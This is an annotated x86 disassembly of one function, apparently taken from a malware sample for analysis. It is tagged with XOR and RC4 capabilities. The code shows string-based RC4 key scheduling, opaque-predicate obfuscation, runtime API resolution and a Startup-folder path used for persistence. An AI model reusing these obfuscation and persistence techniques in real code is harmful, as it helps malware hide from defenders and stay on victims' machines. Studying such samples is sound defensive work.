Function at 0x10004f74
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
push esi
mov esi, dword [0x100244d0]
push edi
add esi, 0x25aa6518
mov dword [ebp - 0x44], 0x22
push 0xb
xor edx, edx
mov dword [ebp - 0x40], 9
pop ecx
mov dword [ebp - 0x3c], 0x3a
mov eax, edx
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x34], 0xffffffa2
mov dword [ebp - 8], esi
sub ecx, dword [ebp + eax*4 - 0x44]
inc eax
cmp eax, 5
jl 0x10004fb8
push 0xa
mov dword [ebp - 0x2c], ecx
lea edi, [ebp - 0x84]
pop ecx
mov esi, str.invalid_value_for_wxBoxSizer_orientation
mov dword [ebp - 0x18], 0xfff17675
rep movsd dword es:[edi], dword [esi]
push 0x47
mov dword [ebp - 0x14], 0x78e0db8b
mov ecx, 0x13d0
mov dword [ebp - 0x10], 0x61ae7ad1
mov eax, str.GdipIsVisiblePoint
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0xc], 0x8395d156
pop esi
add ecx, esi
lea eax, [eax + 2]
cmp ecx, 0x22c3
ja 0x1000501c
movzx esi, word [eax]
test esi, esi
jne 0x10004fff
xor dword [ebp - 8], 0x1baffe4f
jmp 0x1000502e
mov esi, dword [ebp - 8]
xor esi, 0x7f5742de
and esi, 0xad840e34
mov dword [ebp - 8], esi
push ecx
push ecx
mov ecx, dword [0x10024200]
lea ecx, [ecx + 0x69efdc46]
call fcn.10001097
pop ecx
pop ecx
mov eax, edx
mov byte [ebp + eax - 0x198], al
inc eax
cmp eax, 0x100
jb 0x10005045
mov edi, edx
mov esi, edx
xor edx, edx
mov dword [ebp - 0x1c], 0x28
mov eax, edi
mov cl, byte [ebp + edi - 0x198]
div dword [ebp - 0x1c]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x84]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x198]
mov byte [ebp + edi - 0x198], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x198], al
cmp edi, 0x100
jb 0x10005058
call fcn.10001142
mov esi, dword [ebp - 8]
lea eax, [esi - 0x5d6c2d2c]
mov dword [ebp - 0x20], eax
call fcn.10002087
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, eax
mov edi, eax
lea eax, [ecx + 1]
movzx edx, al
mov dword [ebp - 0x28], edx
mov cl, byte [ebp + edx - 0x198]
movzx eax, cl
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x1c]
and esi, 0x77f87067
movzx eax, al
mov dword [ebp - 8], eax
mov al, byte [ebp + eax - 0x198]
mov byte [ebp + edx - 0x198], al
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x198], cl
mov edx, dword [ebp - 0x20]
mov ecx, str.failed_to_get_DIBSECTION_from_a_DIB_
mov al, byte [str.failed_to_get_DIBSECTION_from_a_DIB_]
add edx, 0x77f20a4f
mov dword [ebp - 0x20], edx
jmp 0x10005123
sub al, 0x30
cmp al, 9
ja 0x10005129
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1000511a
jmp 0x10005131
mov esi, edx
and esi, 0xedc5d6ac
lea eax, [esi - 0x6f962478]
mov dword [ebp - 0x24], eax
call fcn.100022b6
mov ecx, dword [ebp - 0x28]
movzx eax, byte [ebp + ecx - 0x198]
add eax, dword [ebp - 0x1c]
movzx eax, al
mov al, byte [ebp + eax - 0x198]
xor al, byte [ebp + edi - 0x18]
mov byte [ebp + edi - 0x98], al
inc edi
cmp edi, 0x10
jb 0x100050c2
xor eax, eax
mov dword [ebp - 8], esi
push 0x31
mov byte [ebp - 0x88], al
mov ecx, eax
pop edx
mov dword [ebp - 0x14], 0x30
mov dword [ebp - 0x10], 0x42
mov dword [ebp - 0xc], 0xffffff5e
add edx, dword [ebp + ecx*4 - 0x14]
inc ecx
cmp ecx, 3
jl 0x10005191
mov dword [ebp - 0x30], edx
mov cl, 0x4e
mov edx, str.NULL_image_pointer
sub cl, 0x30
cmp cl, 9
ja 0x100051b6
inc edx
mov cl, byte [edx]
test cl, cl
jne 0x100051a5
jmp 0x100051c2
mov esi, dword [ebp - 0x24]
xor esi, 0xd45af85
mov dword [ebp - 8], esi
and esi, 0x70f25cb8
mov dword [ebp - 0x18], 0x50ed3931
mov dword [ebp - 0x24], esi
lea edi, [ebp - 0x7c]
push 8
pop ecx
mov esi, str.Start_MenuProgramsStartup
mov dword [ebp - 0x14], 0x88043e1c
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], 0x18ad48ce
mov ecx, eax
mov dword [ebp - 0xc], 0xf949c5f7
mov dword [ebp - 0x20], eax
mov byte [ebp + ecx - 0x198], cl
inc ecx
cmp ecx, 0x100
jb 0x100051f9
mov esi, dword [ebp - 8]
mov ecx, eax
mov edi, dword [ebp - 0x24]
mov dword [ebp - 0x1c], ecx
mov al, byte [ebp + ecx - 0x198]
xor edx, edx
mov byte [ebp - 1], al
mov eax, ecx
push 0x1f
pop ecx
div ecx
movzx ecx, byte [ebp - 1]
movzx eax, byte [ebp + edx - 0x7c]
mov edx, str.GdipIsVisiblePoint
add eax, dword [ebp - 0x20]
add ecx, eax
movzx eax, cl
mov ecx, esi
mov dword [ebp - 0x20], eax
or ecx, 0xcb5dd024
xor eax, eax
mov dword [ebp - 8], eax
inc dword [ebp - 8]
lea edx, [edx + 2]
cmp dword [ebp - 8], 0x1c51
jg 0x10005263
cmp word [edx], ax
jne 0x1000524d
jmp 0x1000526b
mov ecx, edi
xor ecx, 0x7a42139e
imul esi, esi, 0xff0cd13a
imul edi, ecx, 0x215a5473
mov dword [0x10024200], edi
call fcn.10002254
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov al, byte [ebp + edx - 0x198]
mov byte [ebp + ecx - 0x198], al
inc ecx
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x198], al
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x100
jb 0x10005214
xor ecx, ecx
imul eax, edi, 0xa880a524
mov edx, ecx
mov dword [ebp - 0x1c], ecx
mov edi, ecx
mov dword [0x100242b4], eax
lea eax, [edi + 1]
movzx edi, al
mov al, byte [ebp + edi - 0x198]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x24], eax
add eax, edx
movzx eax, al
mov dword [ebp - 0x28], eax
inc ecx
cmp ecx, 0x21d7
je 0x100052f6
cmp byte [ecx + str.NULL_image_pointer], 0
jne 0x100052e2
jmp 0x10005307
call fcn.100024f6
mov esi, dword [0x100242b4]
xor esi, 0x82f309d5
and esi, 0x514e1877
add esi, 0x8bf24832
call fcn.1000160d
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x1c]
push 0
mov al, byte [ebp + ecx - 0x198]
mov byte [ebp + edi - 0x198], al
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x198], al
movzx eax, byte [ebp + edi - 0x198]
add eax, dword [ebp - 0x24]
movzx eax, al
pop ecx
mov al, byte [ebp + eax - 0x198]
xor al, byte [ebp + edx - 0x18]
mov byte [ebp + edx - 0x44], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x10
mov edx, dword [ebp - 0x28]
jb 0x100052c4
mov dword [ebp - 0x18], 0x2b
lea eax, [esi + 0x3b37bad7]
mov dword [ebp - 0x14], 0x44
lea edx, [ebp - 0x98]
mov dword [ebp - 0x10], 0x43
mov dword [ebp - 0xc], 0xffffff3c
movups xmm1, xmmword [ebp - 0x18]
mov byte [ebp - 0x34], cl
mov ecx, dword [ebp - 0x2c]
movaps xmm0, xmm1
mov dword [0x100244d0], esi
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [0x10024200], eax
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd esi, xmm1
call fcn.1001e0ae
call eax
mov edi, eax
mov ecx, str.GetLastActivePopup
xor eax, eax
mov edx, eax
inc edx
lea ecx, [ecx + 2]
cmp edx, 0x90f
je 0x100053e4
cmp word [ecx], ax
jne 0x100053d1
jmp 0x100053f3
call fcn.10002197
add dword [0x100244d0], 0x12d72eb2
xor dword [0x10024200], 0x24a1fe72
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x364]
add dword [0x100242b4], 0x1e3f12cb
lea edx, [ebp - 0x44]
push eax
push edi
mov dword [ebp - 0x364], 0x10010
call fcn.1001e0ae
call eax
test eax, eax
je 0x100056c9
push 0x58
pop ecx
mov dword [ebp - 0x14], 0x56
xor eax, eax
mov dword [ebp - 0x10], 0x2a
mov dword [ebp - 0xc], 0xffffff28
add ecx, dword [ebp + eax*4 - 0x14]
inc eax
cmp eax, 3
jl 0x10005448
movzx eax, byte [str.failed_to_get_DIBSECTION_from_a_DIB_]
mov edi, dword [0x100244d0]
mov dword [ebp - 0x30], ecx
mov ecx, 0x1f3b
test eax, eax
je 0x10005497
mov edx, str.failed_to_get_DIBSECTION_from_a_DIB_
add ecx, eax
inc edx
cmp ecx, 0x3b8
ja 0x1000548a
movzx eax, byte [edx]
test eax, eax
jne 0x10005470
mov esi, dword [0x100242b4]
jmp 0x100054a2
call fcn.10002087
lea esi, [edi - 0x300d2ce5]
jmp 0x1000549d
mov esi, dword [0x100242b4]
call fcn.10002532
push ecx
add esi, 0x13b5a0e8
mov ecx, edi
push edi
mov dword [0x10024200], esi
call fcn.10001828
pop ecx
pop ecx
call fcn.10002254
push 0x4e
mov eax, 0x409
mov ecx, str.NULL_image_pointer
pop edx
add eax, edx
inc ecx
cmp eax, 0x720
ja 0x100054e4
movsx edx, byte [ecx]
test edx, edx
jne 0x100054cb
lea ecx, [esi - 0x7541f157]
jmp 0x100054ec
mov ecx, esi
or ecx, 0xeb4d8b4c
mov dword [ebp - 0x18], 0x4d
and ecx, 0xcee4a19b
mov dword [ebp - 0x14], 0x33
xorps xmm2, xmm2
mov dword [ebp - 0x10], 0x2c
mov dword [ebp - 0xc], 0xffffff20
movups xmm1, xmmword [ebp - 0x18]
push 0x54
pop edi
movaps xmm0, xmm1
mov dword [ebp - 0x1c], ecx
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x58], 0x4c
movups xmm0, xmm1
mov dword [ebp - 0x54], 0x47
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0x50], 0x1d
movd eax, xmm1
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], 0xfffffefc
add eax, 0x34
mov dword [ebp - 0x2c], eax
xor eax, eax
mov edx, eax
mov ecx, eax
sub ecx, dword [ebp + edx*4 - 0x58]
inc edx
cmp edx, 5
jl 0x10005562
mov dword [ebp - 0x18], edi
mov edx, eax
mov dword [ebp - 0x20], ecx
mov edi, eax
mov dword [ebp - 0x14], 0x50
mov dword [ebp - 0x10], 0x20
mov dword [ebp - 0xc], 0xffffff3c
sub edi, dword [ebp + edx*4 - 0x18]
xor esi, 0x59a7af60
inc edx
cmp edx, 4
jl 0x1000558b
push 0x54
mov dword [ebp - 8], edi
mov edx, eax
pop edi
push 0x13
mov dword [ebp - 0x14], 0x12
mov dword [ebp - 0x10], 0x2e
mov dword [ebp - 0xc], 0xffffffad
pop ecx
add ecx, dword [ebp + edx*4 - 0x14]
inc edx
cmp edx, 3
jl 0x100055bb
mov dword [ebp - 0x24], ecx
mov edx, eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], 0x48
mov dword [ebp - 0x10], 0x56
mov dword [ebp - 0xc], 0xffffff0e
add edi, dword [ebp + edx*4 - 0x14]
inc edx
cmp edx, 3
jl 0x100055e2
push 7
xor esi, 0x7ecc21d1
mov dword [ebp - 0x70], 0x10
pop edx
mov dword [ebp - 0x6c], 0x43
mov dword [ebp - 0x68], 0xb
mov dword [ebp - 0x64], 0x31
mov dword [ebp - 0x60], 0xffffff77
sub edx, dword [ebp + eax*4 - 0x70]
inc eax
cmp eax, 5
jl 0x10005618
mov dword [ebp - 0x18], 0x22
or esi, 0xf5854e4c
mov dword [ebp - 0x14], 0x34
and ecx, 0xe34018a1
mov dword [ebp - 0x10], 0x4c
mov dword [ebp - 0xc], 0xffffff5e
movups xmm0, xmmword [ebp - 0x18]
mov dword [0x100242b4], esi
xor esi, 0x5904c80d
mov dword [0x10024200], ecx
mov ecx, dword [ebp - 0x30]
psubd xmm2, xmm0
movaps xmm0, xmm2
mov dword [0x100244d0], esi
psrldq xmm0, 8
paddd xmm2, xmm0
movups xmm0, xmm2
psrldq xmm0, 4
paddd xmm2, xmm0
movd eax, xmm2
cmp dword [ebp - 0x360], ecx
jne 0x100056c5
mov ecx, dword [ebp - 0x2c]
cmp dword [ebp - 0x35c], ecx
jne 0x100056c5
mov ecx, dword [ebp - 0x20]
cmp dword [ebp - 0x358], ecx
jne 0x100056c5
mov ecx, dword [ebp - 8]
cmp dword [ebp - 0x354], ecx
jne 0x100056c5
mov ecx, dword [ebp - 0x24]
cmp dword [ebp - 0x350], ecx
jne 0x100056c5
cmp dword [ebp - 0x34c], edi
je 0x100056cc
mov eax, edx
jmp 0x100056cc
lea eax, [esi + 0x12]
pop edi
pop esi
leave
ret